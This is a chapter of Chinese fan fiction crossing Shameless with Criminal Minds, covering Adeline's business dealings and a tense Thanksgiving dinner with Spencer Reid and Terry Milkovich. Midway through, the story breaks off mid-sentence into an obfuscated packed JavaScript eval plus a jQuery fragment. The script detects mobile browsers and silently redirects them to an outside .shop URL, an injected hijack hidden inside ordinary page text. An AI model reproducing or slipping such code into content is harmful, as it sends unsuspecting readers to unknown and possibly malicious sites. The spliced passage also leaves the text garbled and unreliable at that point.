一个小时后,艾德琳没有在客厅看到吉米。
但吉米留下了一张纸条,或者说,一封短信。
“艾德琳,我无法在一个小时内做出回答。我理解你对他们的爱,可你不能始终通过张牙舞爪的恐吓,来保护他们远离一切的伤害。我会用我的方式来给出答案,我最不愿的,就是伤害菲奥娜。还有,我认同你说的那一点,关于爱屋及乌。”
艾德琳的这所房子里,唯一没有的,就是全身镜。
否则她一定会站在镜子前,好好打量打量自己,是怎么样“张牙舞爪”的。
***
很快,林律师和林肯律师还有几位工作人员到了。
第一次见到艾德琳·陈的人,他们不可避免地出现迟疑。
哪怕对于林肯律师这位知道更多的人来说,陈小姐都过分的年轻,然后就是极度不符合年龄的成熟。
作为经验丰富的年长者,他们并非会因为年轻人的“犯错”感到懊恼,他们有足够的空间来容纳这些小错误,甚至通过这些来进一步体现年龄赋予他们的优势。
但,倘若这位年轻人让自己毫无年长者的“优越感”——林肯律师让那几位工作人员先到外面赏赏雪景。
“陈小姐,你知道通常情况,我们并不会让委托人同时成为投资人或者合伙人,这里面会有些很微妙的利益冲突。”林肯在听到艾德琳要给律所注资的时候,尤其是那笔慷慨过分的注资金额,他只能感谢自己的职业道德十分坚强。
“林肯博士,我明白,所以我会独立出一小部分资产,将其作为一个单独集团运作。这个集团将与陈氏‘无关’,陈氏依旧按照原定的计划来运作。事实证明,在过去的这些年,你们的确做得很好。”艾德琳把自己的想法同更擅长商业领域的林肯律师解释。
这几天,根据她所设置的那些“防护网”,她监测到了舒家正在调查自己。
舒然的小打小闹,自然瞒不过他那位“人中龙凤”的同样保护欲过度的大哥,舒念安。
舒家有能力真的去一趟雨林验证真假,再加上那些她也不敢轻易“动脑”调查的军方的联系,她得在这些麻烦降临前,找到最佳的解决办法。
艾德琳不允许自己被任何人或者势力所“威胁”,她知道自己的劣势,不够聪明,没有商业见识,很多时候会成为“情绪”的奴隶。
但如果把这些当作一场战争或者为以后所面临的战争做准备,那艾德琳也同样知道自己的优势所在。
至少现在,她比舒家,至少比舒念安,更会打仗。
而她,从不打无准备之仗。
那么,一个比上不足,比下有余的小集团继承人“人设”,此时再适合不过。
她也并非热爱利普口中的所谓多面人生的生活,可如今残酷的现实是,只需要一颗猝不及防的子弹,最多一颗手榴弹,布莱恩的一切,艾德琳的一切,都将拱手让人。
任何碳基生物,终究无法战胜热武器。
“而毁灭你,又与你何关呢?”
***
送走达成初步合作协议的林肯博士和林律师,艾德琳请女佣给自己做一杯西班牙拿铁,“亲爱的,多放些糖好吗。”
女佣对这座房子的了解,要远远大于很少出现的艾德琳,很快,她端来了咖啡还有一块千层蛋糕,“这是上午准备礼物的时候,我留下的。”
“谢谢,你今天早些下班吧,感恩节快到了,如果需要多几天的假期可以告诉我。”艾德琳今天的确需要多一些的糖分摄入。
“陈小姐,你不准备在这里过感恩节吗?”女佣很珍惜她这位只对清洁完成程度提要求的雇主。
“有一种说法,那些原住民和我们这些华国人,祖上有点联系。所以我过感恩节,可能没那么礼貌。开个玩笑,别介意,快下班吧。”艾德琳是真的,从来没过过感恩节。
感恩节这个节日对艾德琳来说有些陌生,她甚至发信息给科林,问他有没有推荐的卖烤鸭的地方,那天能不能买个烤鸭应付一下。
***
科林感冒好得差不多的时候,抽空给艾德琳送了一回烤鸭。
尽管孩子们表示科林下次应该带来两只,或者考虑到维罗妮卡的凯文一家,应该至少带来四只。但菲奥娜和黛比,依旧坚持今年的感恩节一定要有火鸡,什么也不能替代火鸡。
往年,加拉格一家在大部分情况下是买不起火鸡的。
但今年,这是菲奥娜第一次不为过冬的钱而发愁,黛比则是不会浪费任何一个使用新烤箱的机会。
是的,艾德琳在得知吉米的“解决方式”之一,是用隔壁那间房子和托尼做交换,从而“逃脱制裁”后,就去把隔壁吉米安装的烤箱给卸了回来。
甚至她做这件事情的时候,托尼正站在边上。
她问托尼,“怎么,现在知道执法了?”
她不会原谅自己连续两次错过隔壁的房子。
托尼“老实”了很多,有时候艾德琳跑步回来,还能看到吉米和他站在一块儿喝咖啡。
***
根据科林的说法,现在整个律所都处于疯狂的加班状态,大家都赶着在感恩节前尽可能地完成工作。
艾德琳就不知不觉地成了当年打工人最讨厌的,随时随地提异想天开要求的,那个“幕后老板”。
不过,她依旧把自己最近时不时地打喷嚏,归纳为自己一个南方人受不了这里的冬天。
此外,学校那里也有了些麻烦,不是暂时歇了“招安”自己心思的大学,而是艾德琳就读的那所公立高中。
科林磕磕巴巴地说了半天,结论是,艾德琳的出席率太低了,已经处于不能毕业的危险线上了。
想到自己答应霍奇要老老实实读完高中的事情,艾德琳如今的每一天都很忙碌,无缝衔接在学校和“私人事务”中。
伊恩看着她浓重的黑眼圈,提醒她要多注意休息。
而利普则始终操心她的“分裂”的精神状态,“你迟早会玩砸了这场多面人生角色扮演的游戏。”
而感恩节那天,极其诡异的画面出现了。
不是在艾德琳和黛比两位优秀厨子加工下,有些不忍直视的火鸡。
也不是难得回来的弗兰克,能忍着开饭前不喝酒。
而是,在加拉格餐桌上,同时出现的,斯宾塞·瑞德,和特里·米尔科维奇。
***
先从简单的部分开始介绍,斯宾塞·瑞德博士自然是接受了艾德琳的邀请。
艾德琳给每一位BAU成员们都发出了邀请,但显然瑞德才是那个真正在重要节日里“无亲无故”、来去自由的那一位。
接下来,就是谁也想不到的特里·米尔科维奇。
他的出现甚至让伊恩,有些轻微地打颤。
艾德琳用刀切下了一整块火鸡腿,“特里,尝尝我的手艺。”
特里很难不嫌弃,但他也并非无缘无故地来这里参加一个“有色人种”的聚会,“我听说了你帮曼迪找的那所学校的事情,寄宿学校?你想把我的女儿卖到哪里去?”
特里的原计划,的确是打上门来。
只是一进门,弗兰克指着一个弱不禁风的年轻人说,“我们这个家里,和联邦调查局有些关系,别看他年纪小,他是高级调查员,专门处理连环杀手。”
不管多厉害的罪犯,都是恐惧执法机构的。更何况特里只是单纯的坏,还远远没到精神变态的程度。
特里就这样“半推半就”地留下来吃了晚饭,但他不能忘了正事。
从他放出来以后,就听说过这个红头发女疯子是怎么收拾了自己家的几个小子。
特里虽然不能“以大欺小”,但宝贝女儿居然和自己说要去读一所寄宿学校,以后成为一个护士。
虽然家里如果有护士,大伤小伤处理起来更方便,能接触到一些处方药品会更好。
但是,这些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520678|142331||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
决定都不应该绕开他这位一家之主。
“你是怎么怂恿我的宝贝女儿的,我不会给她支付学费。”特里把那块火鸡腿扔给了弗兰克。
“曼迪是个聪明坚定的姑娘,她知道怎么选择自己的生活。而且,她通过了一项奖学金计划,她不需要你的学费。”艾德琳通过律所,也通过她新成立的B.A集团,设立了一项针对低收入家庭女孩的奖学金计划。
并不是每一个贫民窟孩子都能有利普那样绝佳的智商,他们中的大部分,也只是运气不太好的普通人。
而这项奖学金,能做得并不多。
对曼迪而言,也只是有了一个新的环境。剩下的,依然靠她自己。
“特里,曼迪告诉我,尽管你们总是开玩笑,她是流产失败的产物。但是你在家的时候,还是把她当作小公主一样,不是吗?”艾德琳给特里倒上了上好的威士忌,“我也见过米奇,很优秀的男孩,不过看到你后,我才知道,什么是真正的虎父无犬子。”
利普听艾德琳的这番话,又一次看向了弗兰克,他是真的怀疑,弗兰克的某一部分“继承”给了艾德琳。
“我不会碰你碰过的东西,你这个——”特里看着突然轻声咳嗽的那位联邦探员,最终选择沉默地同弗兰克干杯。
如果不考虑特里是个恶行累累的种族主义者,他多喝了几杯酒的话,还是挺好相处的。
他拉着瑞德,一个劲地问着自己脑子里的那些尚未实施的“犯罪”存在哪些缺陷。
瑞德很想回答,“存在智商缺陷。”
但他不想破坏温馨的节日氛围,“米尔科维奇先生,如果我知道一起案件的话,我有义务第一时间举报。”
特里又看了一眼总盯着自己的红头发女疯子,“希望圣诞节的时候,我们还能聚在一起。”
***
艾德琳开车,送瑞德回酒店,“你今天似乎没怎么吃饭?”
“说实话吗?火鸡很难吃。”瑞德从包里翻出了从飞机上顺的果冻,“你要来点吗?”
艾德琳摇了摇头,“你可以假装自己不是一个联邦探员吗?在加拉格家的时候。”
“我不是一个好演员,你知道的。但是,作为一个朋友,把另一位朋友的客人都抓起来,不太合适。”和加拉格一家子在一起,的确有很大的压力。
诈骗犯·弗兰克、偷车贼·吉米、前学术不端行为组织者·菲利普,当然,还有特里·米尔科维奇。
“艾德琳,你知道厌恶往往是恐惧的伴生吗?就像恐//同极有可能是深//柜,种族歧视者,往往——”瑞德为了没有阻止,特里对艾德琳说出那些歧视十足的话感到抱歉。
“无知、偏见?这些都很正常,我有足够的自信,这些影响不了我。只是,我可能比你更了解一些特里,你知道,他第一次坐牢是为了什么吗?”艾德琳同瑞德说起了特里的陈年往事。
年轻的特里爱上了哈西迪教派的女孩,却最终以悲剧收场,自此他走向了纳粹主义、种族主义的怀抱。
“我前几天,恰好看过华国一位作家的书,里面说——”瑞德的话被艾德琳打断。
“等等,让我猜一下。那句话是不是说,‘一直恨一个人就像一直爱一个人,一样的难’?”
“不,只是你这样说也对。”瑞德不再去说自己原本想说的那句话,他想在酒店门口同艾德琳告别。
艾德琳坚持把他送进酒店大堂,“斯宾塞,谢谢你。”
瑞德轻轻地抱了一下艾德琳,很快就松开了,“我妈妈住在拉斯维加斯的一家疗养院里,她有些精神疾病方面的困扰,我的父亲同我一直不太亲近。很多时候,我很担心会遗传到母亲的精神疾病,所以你不会是一个人的。你不会是加拉格餐桌上唯一的外人,也不会是这个世界上唯一一个总是担心自己大脑出问题的人。”
“我真的,很讨厌你们这些侧写员。”艾德琳指着瑞德的太阳穴,“明天见,斯宾塞。”